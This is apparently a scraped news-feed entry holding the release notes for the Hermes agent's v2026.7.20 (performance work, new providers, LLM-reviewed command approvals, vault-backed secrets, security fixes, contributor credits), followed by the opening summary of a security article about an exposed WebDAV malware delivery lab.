    • The desktop app speed wave — 20+ targeted perf PRs — Long replies used to cost 14× more CPU in the markdown splitter than they do now; giant diffs froze the review pane until we virtualized it; switching sessions thrashes layout no more. Streaming no longer re-renders the sidebar and every tool row per token, profile backends pre-warm on hover intent, and boot-hidden panes mount at idle instead of on the cold-start critical path. The net effect: the desktop app feels like a native app under load, even with huge transcripts and busy agents. (#67154, #67818, #65898, #66033, #66747, #67742 and more — @OutThisLife)

    • Manage your Nous plan from the terminal — /subscription and /topup — Changing your subscription used to mean a trip to the billing website. Now /subscription opens a full flow right in the TUI or classic CLI: see your plan and remaining allowance, preview exactly what an upgrade costs ("Pay $46.30 & upgrade now") or when a downgrade takes effect, and apply it — with scheduled-change banners and undo. The desktop app got a matching billing settings tab. Your wallet never has to leave the keyboard. (#51639, #61054, #61067 — @alt-glitch)

    • Smart approvals are now the default — When Hermes wants to run a flagged command, an LLM reviewer now assesses it independently instead of asking you to approve every single one — and each verdict covers only that exact command, so a later command matching the same pattern gets its own review. Combined with the new user-defined deny rules (which block commands even under yolo mode) and /deny <reason> (which tells the agent why you refused so it course-corrects), day-to-day approval fatigue drops sharply without giving up control. (#62661, #59164, #54518 — @teknium1)

    • Plug your password manager into Hermes — Bitwarden & 1Password secret sources — API keys no longer have to live in a plaintext .env. A new pluggable SecretSource interface lets Hermes fetch secrets from Bitwarden and 1Password (op:// references) at load time, with multiple vaults enabled simultaneously, deterministic precedence, conflict warnings, and per-variable provenance. This consolidated eleven competing community PRs into one orchestrated interface — future vault providers drop in as plugins. (#59498 — @teknium1, 1Password provider salvaged from @hwrdprkns)

    • Watch your subagents work — live transcripts + durable background delegation — delegate_task dispatches now return live transcript files you can tail -f the moment the subagents launch: every tool call, result, and streamed reply, one human-readable log per child. And background delegation completions are now durable — if the process restarts mid-run, results are restored and delivered through an ownership-checked ledger instead of vanishing. Fan out a fleet, watch any worker live, and never lose the results. (#67479, #63494 — @teknium1)

    • A finished answer can no longer be lost — the delivery-obligation ledger — If the gateway died between generating your response and confirming the platform actually delivered it, that answer used to be silently gone (and you'd paid for the turn). Final responses are now recorded in a durable ledger in state.db around the platform send and redelivered on the next boot — closing a P1 silent-loss window for Telegram, Discord, Slack, and every other channel. (#67181 — @teknium1)

    • One gateway, many profiles — profile-based message routing — A single multiplexed gateway sharing one bot token can now route specific guilds, channels, or threads to different profiles — each with fully isolated config, skills, memory, and secrets. Point your work Discord server at the work profile and your hobby server at personal, from one bot. A second multiplex hardening wave means one misconfigured profile can no longer take down the whole gateway. (#64835 salvaging @Burgunthy, #65700, #60589 — @teknium1, @benbarclay + six salvaged contributors)

    • New providers and the newest frontier models — Fireworks AI and DeepInfra land as first-class providers (Fireworks with cost estimation and a #2 slot in the provider picker), Upstage Solar joins via salvage, and the model catalogs picked up GPT-5.6 (Sol/Terra/Luna + Pro variants, wired end-to-end across every route), grok-4.5 (GA), moonshotai/kimi-k3, claude-fable-5 / claude-sonnet-5, and GA tencent/hy3 — plus LM Studio JIT model loading for local setups. (#62593, #63969, #61616 — @kshitijk4poor completing @rob-maron's #61578, #60887, #65913, #64541, #65472)

    • Crank the thinking to max — new reasoning effort tiers and per-model control — Reasoning effort gained max and ultra levels (GPT-5.6 and Codex's top tiers), selectable everywhere from the CLI to the desktop, with sane clamping on providers with smaller scales. You can now also pin per-model reasoning-effort overrides in config, set per-slot effort in MoA presets (your advisors think hard, your synthesizer stays fast), and per-task effort for auxiliary models. Thinking depth is now a dial, not a global switch. (#62650, #64458, #64631, #64597 — @teknium1)

    • Your sessions, your data — export everything — hermes sessions export now writes Markdown, Quarto, HTML, prompt-only, and even Hugging Face-ready trace formats, with the full filter surface (age, workspace, platform), an opt-in --redact secret-scrubbing pass, and compacted-session lineage stitched into one logical export. Pair with the new prune filters and bulk archive to keep your session store tidy. Your conversation history is a real dataset now, not a black box. (#60186 salvaging @web3blind, #60492, #60507, #59327 — @teknium1)

    • Security hardening round — This window closed a long list of credential-surface gaps: Vertex credentials scoped away from subprocess env and through profile secret scopes, media/vision/image-gen local-file reads routed through one shared credential-read guard, a webhook body-size-cap sweep across every aiohttp server, bot-token redaction in Telegram transport errors, Fireworks token prefixes added to the redactor, six P1 browser/MEDIA/.env hardening PRs salvaged in one pass, and CI hardened against untrusted-ref interpolation. (#57660, #58709, #59215, #56582, #57842 — @teknium1, @srojk34, @kshitijk4poor, @jquesnelle)

    ⚡ Performance — the speed spine

    First-turn latency (all platforms)

    • ~80% TTFT cut — Discord capability detection off the critical path (token-keyed 24h disk cache + background refresh), Ollama probe skipped for known non-Ollama providers, agent-init blocking work removed; cold submit→dispatch ~4.3s → ~0.9s (#59332 — @teknium1)
    • Perceived-latency round 2 — display.show_reasoning default ON (watch the model think instead of a spinner), per-token response-box painting with width-aware force-flush, prompt-build caching, mtime-cached timezone resolution (#59389 — @teknium1)
    • Segment mixed tool batches to recover lost concurrency; drop per-call base64 re-serialization from request-size estimates (#64460, #67788 — @teknium1, @OutThisLife)

    Desktop speed wave

    • 14× less splitter CPU via incremental block lexing for streaming markdown; virtualized review-pane diffs (no more full-Shiki freeze); snappy session switching on large transcripts; killed the layout-thrash cascade on session switch (#67154, #67818, #65898, #66033 — @OutThisLife)
    • Cut startup serialization + per-turn REST amplification; pre-warm profile backends and gateway sockets on hover intent; idle-mount boot-hidden panes; fast model picker + dialogs (#66747, #66347, #67857, #66470 — @OutThisLife)
    • Stop per-token sidebar + tool-row re-renders during streaming; stop eager JSON.stringify of every tool's args/result; scope tool-diff subscriptions; batch sidebar session slices into one profile-DB pass; targeted file-tree revalidation; rAF-coalesced sash resizes (#67742, #67842, #67195, #67245, #67824, #67838, #67844 — @OutThisLife)
    • Systematized perf benchmark harness with trustworthy cold-start + first-token measurement, replacing 12 one-off scripts (#67466, #67697 — @OutThisLife)

    Everywhere else

    • TUI renders streamed markdown incrementally per block (#67236 — @OutThisLife)
    • Skill discovery cached by scan signature; snapshot manifest builds ~5× faster; text prefilter before AST parse in tool discovery (#61414, #61131, #63941 — @kshitijk4poor, @ethernet8023)
    • Copy-on-write message prep instead of full deepcopy; model-metadata probe-cache cluster; gateway session.resume model + display history from one SELECT (#61133, #61368, #67247 — @kshitijk4poor, @OutThisLife)
    • hermes update skips npm install when Node manifests are unchanged; dashboard session-list payloads trimmed + messages paginated (#61580, #60883 — @kshitijk4poor)
    • Byte-stable gateway system prompts — pinned session-context render keeps the prompt cache alive across turns (#67403 — @kshitijk4poor)

    đŸ—ïž Core Agent & Architecture

    Providers & models

    • Fireworks AI provider with cost estimation + cached picker price columns, promoted to #2 in provider pickers (#62593, #65476, #65214 — @teknium1)
    • DeepInfra hardened integration; Upstage Solar provider (#42231 salvage) (#63969, #64541 — @kshitijk4poor)
    • GPT-5.6 (Sol/Terra/Luna + Pro) end-to-end — context lengths, native/Codex catalogs, pricing, compaction caps across every route (#61616 — @kshitijk4poor, building on @rob-maron)
    • grok-4.5 (GA) catalog + reasoning allowlist; kimi-k3 on Nous Portal + OpenRouter (kimi-k2.x retired) + K3 discovery on the Kimi Coding endpoint; claude-fable-5 / claude-sonnet-5 / fugu-ultra curated; GA tencent/hy3 (#60887, #65913, #65922, #56617, #60943 — @teknium1)
    • Catalog-labeled silent default (GLM-5.2) + bare-provider /model cost-safe routing; LM Studio JIT load mode; adaptive thinking for Kimi-family Anthropic endpoints (#64771, #65472, #67606 — @teknium1, @kshitijk4poor)
    • GLM-5.2 native reasoning_effort controls; Gemini request-context improvements; extra HTTP headers for LLM API calls; per-client model routing on the API server (#58884, #61873 — @vishal-dharm, #57038, #57028 — @teknium1)
    • Claude Sonnet 5 fully wired — curated lists, intro pricing, and metadata across every route (#67932 — @teknium1)
    • Hide providers you don't use — enabled: false per-provider flag + excluded_providers config scrub unwanted providers from /model pickers and built-in resolution (#67971 — @teknium1)
    • Bedrock catalog wave: real context-window probing from the live endpoint, 1M-context rows for current-gen Claude + Fable, geo-prefix parity, versioned profile-ID pricing, Opus 4.8/4.7 rows (#68007, #67977, #68005, #67976 — @teknium1)
    • kimi-k3 rollout completed across Kimi-direct catalog surfaces with 1M context on canonical Kimi Coding endpoints (#68108 — @teknium1)
    • Provider pickers: Qwen providers folded into one group row; collapsible provider groups in the desktop model picker; friendlier TUI model display grouping same-endpoint providers (#67758, #67904, #67908 — @teknium1)

    Reasoning & MoA

    • max + ultra effort levels across every surface and route (#62650 — @teknium1)
    • Per-model reasoning_effort overrides via a unified resolution chokepoint; per-task auxiliary effort; per-slot MoA preset effort; session-scoped /reasoning in the CLI (#64458, #64597, #64631, #67946 — @teknium1)
    • MoA: reference_max_tokens to cap advisor output and cut latency; per-preset fanout cadence (user_turn runs advisors once per user turn); stale presets surfaced without retries; half-filled preset saves rejected at the API boundary; aggregator resolves reasoning like an acting model (#56756, #57591, #64756 — @teknium1)

    Delegation, approvals & the agent loop

    • Live subagent transcripts + durable background completions (see Highlights) (#67479, #63494 — @teknium1)
    • Smart approvals default; user-defined deny rules (block even under yolo); /deny <reason> relays the denial reason; plugin pre_tool_call approve action escalates to a human gate (re-landed with rule keys) (#62661, #59164, #54518, #60504 — @teknium1, @kshitijk4poor)
    • Unified delegation concurrency caps (max_async_children deprecated); explain long provider waits on the live status line; deterministic tool-output risk exposure (#56955, #64775, #61793 — @teknium1)
    • Codex: live TUI/desktop tool cards for the app-server runtime, commentary streamed as visible interim messages, compaction routed through thread/compact/start, max-output truncation recovery, oversized message ids dropped on replay, banked usage-limit resets via /usage reset (#66514, #66115, #60114, #58155, #62225 — @teknium1, @kshitijk4poor, @JoaoMarcos44, #64280 — @teknium1)
    • Hooks: oversized hook-injected context spills to disk (#20468 — @teknium1)
    • Vibe reactions — floating hearts on affection across CLI/TUI/desktop, token-free core detection (#62016 — @OutThisLife)

    Secrets & config

    • Pluggable SecretSource interface + Bitwarden & 1Password providers (see Highlights) (#59498 — @teknium1, @hwrdprkns)
    • hermes config get / unset; warn on unknown root config keys + doctor deprecated-key reporting; display.timestamp_format (#65540, #67370, #40622 — @teknium1)
    • Auxiliary model usage recorded per task in session accounting; conversation-scoped Nous Portal usage tags across aux/MoA/delegate calls; --usage-file JSON report for hermes -z (#65537, #65468, #59615 — @teknium1)

    Sessions & compression

    • Sessions export: Markdown/QMD/HTML/prompt-only/trace formats, HF upload, --redact, unified filters; full prune filter surface + bulk archive; CLI workspace filter + restore-cwd-on-resume (#60186, #60492, #60507, #59327, #63091 — @teknium1, @web3blind)
    • Compression: preserve human intent and durable handoffs; retain prompt cache when memory is unchanged; flatten multimodal content for the summarizer keeping image handles; gateway compression routing integrity (#67275, #67916, #65046, #56868 — @kshitijk4poor, @teknium1)
    • Gateway session metadata consolidated into state.db; routing index moved to state.db (sessions.json now an optional legacy mirror); exact API bytes persisted in an api_content sidecar (#58899, #59203, #67274 — @teknium1, @kshitijk4poor)

    🌐 Gateway, Fleet & Relay

    • Durable delivery-obligation ledger for final responses (see Highlights) (#67181 — @teknium1)
    • Profile-based routing for inbound messages + multiplex hardening wave 2 + GATEWAY_MULTIPLEX_PROFILES override (see Highlights) (#64835, #65700, #60589 — @teknium1, @benbarclay + salvaged contributors)
    • Per-session turn lease + conversation-scope funnel; unified session reset boundaries (reset sessions stay reset); truthful runtime readiness checks; per-channel model and system prompt overrides; per-session /model overrides persist across restarts (#67401, #65783, #62645, #56967, #57030 — @teknium1)
    • Session auto-reset default off; /sessions search <query>; webhook payload filters + route scripts; platform HTTP event callback routing; configurable long-running status phrases (#60194, #57685, #60944, #65702, #58872 — @teknium1)
    • Relay: generic OIDC client-credentials provisioning (NAS-free), routed profile carried from the connector wire source, channel context consumed from the connector; Nous auth forensics + nous_session_valid on /api/status for hosted self-heal; Docker re-seeds a terminally-dead Nous bootstrap session on boot (#60730, #60586, #64649, #59976, #59969, #59983 — @benbarclay)

    đŸ“± Messaging Platforms

    • Inline choice pickers for /reasoning and /fast on Telegram, Discord, and Matrix — one-tap native buttons instead of typing (#65799 — @teknium1)
    • WhatsApp: native Baileys polls (clarify renders as a poll), locations, rich inbound metadata; dashboard pairing flow (#58865, #60571 — @teknium1)
    • Discord: recover messages missed during reconnect; auto-created threads renamed to generated session titles; configurable interactive view timeout; opt-in owner mentions on exec-approval prompts; optional admin-only gate for approval buttons (#66149, #60187, #60230, #60493, #51751 — @teknium1)
    • Slack: live per-tool status line (#67080 — @teknium1, salvaging #62007)
    • Telegram: per-topic free-response allowlist; Google Chat clarify prompts rendered as cards (#65543, #65546 — @teknium1)
    • Voice: stt.echo_transcripts toggle; MEDIA: captions attached to the media bubble on standalone sends; display.tool_progress: log option (#58859, #61415, #57014 — @teknium1, @kshitijk4poor)

    đŸ–„ïž Hermes Desktop App

    • Contribution-driven shell on a layout-tree model — panes, zones, and layouts as data; plugin-scoped i18n locale bundles followed (#60638, #67303 — @OutThisLife)
    • Capabilities page — Skills/Tools/MCP + Hub in one place, with responsive overlay nav; CLI/dashboard parity for skills hub, MCP test/toggle/catalog, maintenance ops, log filters; five UX fixes from live testing (#57590, #57441, #67482 — @OutThisLife, @teknium1)
    • Hermes Cloud connection mode (salvage of #55402); soft gateway switch + gateway-settings polish; terminal execution backend picker with health probes (#61912, #61916, #67203 — @OutThisLife, @teknium1)
    • Keybind hint tooltips + keybinds settings tab + unified worktree dialog; base-branch picker for new worktrees; green unread dot for background-finished sessions; background-task sidebar indicators; grouped tool calls across text-less messages; auto-scrolling window for long tool-call runs (#65204, #62243, #65109, #65174, #61147, #57913 — @ethernet8023, @OutThisLife)
    • Session + project color system (inherit from project, per-session override, shared across sidebar/tabs); unified active-project identity in chat status; workspace path status action (#67469, #67681, #67282, #63086 — @OutThisLife)
    • Declarative memory-provider panel + full-config modal; config-defined TTS/STT providers + xAI TTS params; custom endpoint settings; per-job cron model picker; profile-aware approval mode control; UI scale setting; Ctrl/Cmd+wheel zoom; chat backdrop toggle; /journey opens the memory graph overlay (#67206 salvaging @erosika, #67209, #67759 — @austinpickett, #67472, #63520, #60457, #67029, #64598, #57267 — @teknium1, @OutThisLife)
    • Full TypeScript conversion of the desktop tree (#57855 — @ethernet8023)

    📊 Web Dashboard

    🧰 CLI & TUI

    • /subscription + /topup terminal billing (see Highlights) (#51639 — @alt-glitch)
    • /model --once — one-turn model override that reverts automatically (#67113 — @teknium1, salvaging #29923)
    • Stacked slash-skill invocations — /skill-a /skill-b do XYZ loads both skills in order (Claude Code port), with autocomplete + ghost text (#57987, #58763 — @teknium1)
    • --safe-mode troubleshooting flag; uninstall dry-run; TLS failures fail fast with fix hints; /compact alias + preview flags; pip/Homebrew installs warned unsupported (#45300, #60111, #57992, #57029, #57225 — @teknium1, @ethernet8023)
    • TUI: model picker refresh support; custom skill bundles dispatched as agent turns; banner sizes skills display to terminal width (#59782 — @helix4u, #62859 — @Adolanium, #40624 — @teknium1)
    • Hermes Console REPL + perf follow-ups; hermes curator usage all-skills view; entry-point plugins surfaced in hermes plugins list (#57781 — @kshitijk4poor, #36727, #40623 — @teknium1)

    🔧 Tool System, Skills & MCP

    • MCP: mcp__server__tool naming convention; server log notifications surfaced in agent.log; hosted OAuth completed across Dashboard + Desktop; configurable redirect_uri/redirect_host for proxied/WAF setups; OAuth callback port races closed; Blender added to the MCP catalog with a curated 4-tool default (#52750, #57416, #66151, #65610, #65622, #64463 — @teknium1, @benbarclay)
    • Skills: security/unbroker (autonomous data-broker removal) + blind opt-out hardening; unreal-mcp companion skill; blender-mcp reworked around the catalog entry; humanizer pattern expansion; mcp-oauth-remote-gateway optional skill (#57438, #57902, #65989, #64715 — @SHL0MS, #65066, #65486 — @teknium1)
    • Browser: full snapshots stored on truncation, eval denylist opt-in; computer_use follows cua-driver's verify→escalate ladder (#65923, #67123 — @teknium1)
    • Kanban: modal create-task dialog + editable board project directory; Done-card results made obvious; grab-to-pan board scrolling; attachment toolset + CLI with SSRF-guarded URL fetch; project directory captured at board creation (#66333, #63638, #60226, #65698, #63249 — @teknium1)
    • Cron: durable execution audit history; one-shot stale-removal race fixed; run-claim TTL derived from HERMES_CRON_TIMEOUT (#61791 — @teknium1, #62014 — @PRATHAMESH75, #59567)
    • mem0: self-hosted dashboard backend + recall tuning + setup-wizard mode (#56943, #60494 — @kshitijk4poor, @teknium1)
    • Image gen: Codex image inputs; unsupported Codex image accounts classified; tool args recursively normalized by schema (cline port) (#57017, #63627, #52220 — @teknium1, @kshitijk4poor)

    🔒 Security & Reliability

    • Vertex: credential/project/region resolution through the profile secret scope; VERTEX_CREDENTIALS_PATH/GOOGLE_APPLICATION_CREDENTIALS stripped from subprocess env (#56680, #56582 — @srojk34)
    • Six P1 hardening PRs salvaged in one pass — browser guards, MEDIA anchoring, .env lockdown, delegate ACP transport (#57660 — @teknium1)
    • Media/vision/image-gen local-file reads routed through the shared credential-read guard; native image routing guarded by file-safety policy; unified image-source resolver + terminal-backend confinement (#58709, #58752, #57890 — @teknium1)
    • Webhook body-cap sweep: explicit client_max_size on 3 uncapped aiohttp servers + completion sweep; Raft chunked-request body limit; timestamp-bound V2 webhook signatures (#59180, #59215, #58902, #58508 — @teknium1, @srojk34)
    • Redaction: Fireworks token prefixes + Telegram transport errors; env-lookup false positives fixed for KEY=value and JSON/YAML config fields; bot tokens scrubbed from Telegram connect/send errors (#58501, #58534, #58915, #58893 — @teknium1)
    • computer-use: subprocess env sanitized across all five cua-driver spawn sites (#58889, #59165 — @teknium1)
    • Dashboard: managed-files credential guard widened past .env + dir-tree gap closed; OAuth token TOCTOU closed with atomic 0o600 writes; stale dashboards can't recreate deleted profiles (#58222 — @kshitijk4poor, #60236 — @teknium1, #49435 — @LeonSGP43)
    • CI: untrusted refs passed through env, not run: interpolation; JS/TS tests wired into CI with source-regex tests banned; js-autofix pushes via PR instead of direct-to-main (#57842 — @jquesnelle, #60707, #65186 — @ethernet8023)
    • Docker: terminal network toggle with full-path coverage; Git Bash Mandatory-ASLR install failures detected; Windows updater console hidden during handoff (#59149 — @teknium1, #64651, #66040 — @helix4u)
    • Anthropic: request-local clients so the stale/interrupt watchdog never corrupts SQLite; per-profile OAuth file; OAuth login 429 fixed (UA must not be claude-code/) (#67238 — @OutThisLife, #59339, #58178 — @teknium1)
    • Gateway/agent: tool_call_id deduplicated across pre-API sanitizers; background review inherits parent reasoning_config for Anthropic cache parity; /new memory extraction moved off the command path (#58350, #64379, #61139 — @teknium1, @kshitijk4poor)

    🔁 Reverted in this window (for the record)

    • iron-proxy credential-injection egress firewall (#30179 → reverted in #58489) — not shipping in this release
    • dynamic-workflow orchestration skill (landed, then reverted) — not shipping
    • memory provider-actions extension point (landed, then reverted) — not shipping
    • Note: the plugin pre_tool_call approve escalation was reverted mid-window but re-landed in #60504 and ships in this release.

    đŸ‘„ Contributors

    450+ people contributed to this release (via commits, co-author trailers, and salvaged PRs) — the biggest contributor window yet. Thank you, all of you.

    Core team

    • @teknium1 — release lead; TTFT perf wave, delivery + delegation durability, smart approvals, SecretSource, gateway multiplex + profile routing, sessions export, security round, and a ~290-PR community salvage burn
    • @OutThisLife — desktop app (the speed wave, layout-tree shell, Capabilities page, session colors, vibe reactions, TUI incremental markdown, perf harness)
    • @kshitijk4poor — GPT-5.6 end-to-end, DeepInfra + Upstage Solar providers, perf cluster, compression integrity, mem0, dashboard guards
    • @ethernet8023 — CI overhaul (JS/TS tests wired in, autofix-via-PR, python speedups), desktop keybinds/worktrees/status indicators, full desktop TypeScript conversion
    • @benbarclay — relay OIDC provisioning, gateway multiplex override, Nous auth self-heal, hosted MCP OAuth groundwork
    • @alt-glitch — terminal billing (/subscription, /topup), desktop billing tab
    • @helix4u — desktop provider/model UX, TUI model picker refresh, Windows install/updater hardening
    • @austinpickett — desktop custom endpoint settings
    • @SHL0MS — unbroker + unreal-mcp skills, humanizer expansion

    Top community contributors

    • @srojk34 — security hardening: Vertex credential/project/region scoping through the profile secret scope, subprocess env stripping, Raft chunked-request body limits
    • @HexLab98 — 11 fixes across MCP capability gating, Windows installer PATH, desktop cron editing, gateway systemd warnings
    • @UnathiCodex — desktop stability: zoom across display moves, LaTeX rendering, resume-stall and runtime-readiness fixes
    • @xxxigm — <think> leak fix after thinking-only retry flush, dashboard auth/theme/PTY fixes
    • @erosika — desktop declarative memory-provider panel + honcho recall/timeout correctness
    • @Frowtek — credential security: master stores never mounted into skill sandboxes, live-transcript redaction, dashboard api_key precedence
    • @necoweb3 — browser private-page CDP guard, cron one-shot liveness, gateway compression fail-closed
    • @DavidMetcalfe — desktop updater version pill, Local/custom endpoint exposure, sidebar collapse behavior
    • @shannonsands — dashboard: mobile channel setup, Discord toolsets from web UI, Telegram setup clarity
    • @vishal-dharm — Gemini request-context improvements
    • @PRATHAMESH75 — cron one-shot stale-removal race, dashboard multiplex port-binding guard
    • @alelpoan, @embwl0x, @Adolanium, @giggling-ginger, @Drexuxux, @frizikk, @JoaoMarcos44, @wesleysimplici, @LeonSGP43, @pierrenode, @simpolism, @MorAlekss, @r266-tech, @WadydX, @nv-kasikritc — targeted fixes across desktop, TUI, gateway, cron, webhook, nix, and browser surfaces
    • Salvaged-work authors whose PRs were cherry-picked with credit this window: @Burgunthy (profile routing), @web3blind (sessions export), @hwrdprkns (1Password), @Christopher-Schulze, @Ahmett101, @sjiangtao2024, and many more — see the salvage PR bodies for full attribution

    All contributors

    @0-CYBERDYNE-SYSTEMS-0, @0disoft, @0xbyt4, @100yenadmin, @17324393074, @2751738943, @8294, @abhibansal-sg,
    @adambiggs, @Adolanium, @aeyeopsdev, @aguung, @AhmetArif0, @Ahmett101, @ai-ag2026, @AIalliAI, @ajzrva-sys,
    @alastraz, @alelpoan, @alex-fireworks, @alex-heritier, @alex107ivanov, @AlexFucuson9, @Alix-007,
    @allenliang2022, @Almurat123, @AlsayedHoota, @alt-glitch, @alvarosanchez, @amanning3390, @AmAzing129,
    @AndreasHiltner, @andrewhomeyer, @annguyenNous, @ansel-f, @antydizajn, @arminanton, @arnispiekus, @asimons81,
    @asscan, @ats3v, @austinlaw076, @austinpickett, @avifenesh, @aydnOktay, @Bartok9, @bautrey, @bbednarski9,
    @bbopen, @benbarclay, @bigstar0920, @binhnt92, @bird, @Black0Fox0, @BlackishGreen33, @bo.fu, @brendandebeasi,
    @briandevans, @BROCCOLO1D, @Bruce-anle, @brunz-me, @Burgunthy, @bytesnail, @catbearlove1-lang, @Cdddo,
    @cgarwood82, @CharmingGroot, @chouqin, @Christopher-Schulze, @claudlos, @CocaKova, @Code-suphub, @CodeForgeNet,
    @craigdfrench, @CrazyBoyM, @crazywriter1, @cresslank, @cruzanstx, @cyrkstudios, @danilofalcao,
    @datachainsystems, @DatTheMaster, @davidb73-hub, @davidgut1982, @DavidMetcalfe, @davidrobertson,
    @deacon-botdoctor, @DECK6, @deepujain, @derek2000139, @designnotdrum, @deusyu, @devatnull, @devorun,
    @dexhunter, @dfein38347g, @Dhravya, @DictatorBacon, @digitalbase, @dlkakbs, @dmabry, @DNAlec, @dodo-reach,
    @doncazper, @dorokuma, @doxe0x, @Drexuxux, @dschnurbusch, @Dusk1e, @EdderTalmor, @egilewski, @elashera,
    @Elektrofussel, @eliteworkstation94-ai, @embwl0x, @emo-eth, @emozilla, @enzo-adami, @Epoxidex, @ErnestHysa,
    @erosika, @esthonjr, @ethernet8023, @evefromwayback, @evelynburger, @F4TB0Yz, @falkoro, @fanyangCS, @firefly,
    @fjlaowan1983, @flewe, @flo1t, @flow-digital-ny, @floze-the-genius, @frizikk, @Frowtek, @FuryMartin,
    @fyzanshaik, @gauravsaxena1997, @geoffreybutler94, @georgedrury, @gigakun3030, @giggling-ginger,
    @Git-on-my-level, @gitcommit90, @githubespresso407, @gnodet, @GottZ, @Gridzilla, @grimmjoww578, @gumclaw,
    @Gutslabs, @HaiderSultanArc, @harjothkhara, @heathley, @hejuntt1014, @helix4u, @HeLLGURD, @hellno,
    @herbalizer404, @HexLab98, @hmirin, @Hopfensaft, @Hotragn, @hsy5571616, @huanshan5195, @HumphreySun98,
    @hwrdprkns, @hydracoco7, @hydraxman, @iamlukethedev, @iborazzi, @IgorGanapolsky, @iizotov, @ildunari,
    @infinitycrew39, @IpastorSan, @irresi, @isfttr, @isheng-eqi, @itsflownium, @izumi0uu, @Jaaneek, @JacketPants,
    @jaisup, @jakelongvu-bot, @jakepresent, @jaketracey, @JAlmanzarMint, @JasonFang1993, @jbbottoms, @jcjc81,
    @JiaDe-Wu, @Jiahui-Gu, @Jigoooo, @jingsong-liu, @jneeee, @JoaoMarcos44, @joelbrilliant, @John-Lussier, @jplew,
    @jtstothard, @juniperbevensee, @Jupiter363, @justinschille, @k4z4n0v4, @kaishi00, @karfly, @kartik-mem0,
    @kavioavio, @KCAYAAI, @kenyonxu, @keslerm, @kevinrajaram, @knoal, @kocaemre, @kohoj, @konsisumer, @krowd3v,
    @kshitijk4poor, @kuangmi-bit, @kubolko, @kyssta-exe, @Kyzcreig, @l0h1nth, @labsobsidian, @laurinaitis,
    @LavyaTandel, @lawyer112, @lemonwan, @LeonSGP43, @lEWFkRAD, @linfeng961, @liuhao1024, @liuwei666888, @ljy-2000,
    @loes5050, @logical-and, @LoicHmh, @loongfay, @lord-dubious, @lost9999, @lucasfdale, @lucaskvasirr,
    @luxuguang-leo, @ly-wang19, @m0n5t3r, @m1qaweb, @M1racleShih, @MaartenDMT, @mahdiwafy, @MaheshBhushan,
    @ManniBr, @marcelohildebrand, @marcolivierlavoie, @markoub, @MarkVLK, @Marxb85, @matantsevs,
    @maxpetrusenkoagent, @mbac, @mdc2122, @mguttmann, @Mibayy, @michaelHMK, @mijanx, @minchang, @momomojo,
    @MorAlekss, @morluto, @msh01, @mssteuer, @mvanhorn, @nanami7777777, @nankingjing, @necoweb3, @neo-claw-bot,
    @neoguyverx, @nicha16, @nikshepsvn, @nima20002000, @nnnet, @NousResearch, @nullptr0807, @nv-kasikritc,
    @okisdev, @OmarB97, @ooiuuii, @ooovenenoso, @oppih, @Osraka, @ostravajih, @otsune, @OutThisLife, @OYLFLMH,
    @patrick-muller, @pdmartins, @pedrommaiaa, @Peterskaronis, @petrichor-op, @pgregg88, @pierrenode, @pixel4039,
    @plcunha, @pnascimento9596, @Polyhistor, @PRATHAMESH75, @professorpalmer, @Punyko8, @Que0x, @Qwinty,
    @r0gersm1th, @r266-tech, @rabadaki, @ragingbulld, @RainbowAndSun, @rainbowgore, @randimt, @rarf, @rasitakyol,
    @rayjun, @raymondyan-zhijie, @re-ITRT, @RenoMG, @Rival, @RKelln, @rlaehddus302, @rob-maron, @rodboev,
    @roryford, @rungmc357, @ruslanvasylev, @s0xn1ck, @s905060, @s96919, @sahibzada-allahyar, @sahil-shubham,
    @Sahil-SS9, @SahilRakhaiya05, @sam7894604, @SAMBAS123, @samrusani, @sanidhyasin, @sasquatch9818, @sberan,
    @ScotterMonk, @seagpt, @sebastianlutycz, @SemonCat, @setclock, @shannonsands, @sharziki, @shashwatgokhe,
    @SHL0MS, @shuangxinniao, @SilentKnight87, @simplast, @simpolism, @SiteupAgencia, @sjiangtao2024, @sk-holmes,
    @slow4cyl, @smtony, @soddy022, @Soju06, @solyanviktor-star, @SongotenU, @spiky02plateau, @sprmn24, @SquabbyZ,
    @srojk34, @ssiweifnag, @stantheman0128, @StellarisW, @stephenschoettler, @suninrain086, @superposition,
    @Supersynergy, @sweetcornna, @szafranski, @tanmayxchoudhary, @tarunravi, @tcconnally, @terry197913, @Thatgfsj,
    @thegoodguysla, @thestudionorth, @TheTom, @TinkerOfThings, @tjboudreaux, @tjp2021, @Tortugasaur, @Tosko4,
    @Tranquil-Flow, @trevorgordon981, @trismegistus-wanderer, @tt-a1i, @tuancookiez-hub, @TurgutKural, @Umi4Life,
    @UnathiCodex, @unsupportedpastels, @uzaylisak, @valda, @vampyren, @veradim, @victor-kyriazakos, @virtualex-itv,
    @vishal-dharm, @Vissirexa, @vizi0uz, @vkkong, @vKongv, @VolodymyrBg, @vortexopenclaw, @VrtxOmega, @WadydX,
    @waroffchange, @waseemshahwan, @web3blind, @webtecnica, @wesleion, @wesleysimplicio, @williamumu,
    @WilsonKinyua, @wxy-nlp, @wyuebei-cloud, @x7peeps, @x9x9x9x9x9x91, @xuezhaolan, @xxxigm, @ya-nsh, @yatesjalex,
    @ygd58, @yingliang-zhang, @yinkev, @YLChen-007, @yu-xin-c, @yungchentang, @zapabob, @zccyman, @zeapsu,
    @ziliangpeng, @zwcf5200, @zzpigpinggai

    Also: bo.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.

    Full Changelog: v2026.7.1...v2026.7.20

    ]]>         <![CDATA[From a Single Alert to 1,000 Files: Inside an Exposed WebDAV Malware Delivery Lab]]> https://tsecurity.de/de/3681303/it-security-nachrichten/from-a-single-alert-to-1000-files-inside-an-exposed-webdav-malware-delivery-lab/ https://tsecurity.de/de/3681303/it-security-nachrichten/from-a-single-alert-to-1000-files-inside-an-exposed-webdav-malware-delivery-lab/ Mon, 20 Jul 2026 15:53:12 +0200 📰 IT Security Nachrichten tsecurity.de Executive summary

    An MDR alert recently led our team to an exposed server that was doing more than hosting payloads. It was functioning as a fully operational malware delivery lab. Containing over 1,000 artifacts, the infrastructure served as a QA hub where attackers systematically tested delivery paths, social engineering lures, and WebDAV execution methods.

    Our analysis reveals an interesting shift in adversary operations: attackers are adopting generative AI to move beyond individual exploits and operate like modern software product teams. By leveraging LLMs for rapid lure generation, detailed README documentation, and automated testing, they are significantly accelerating their development cycle.

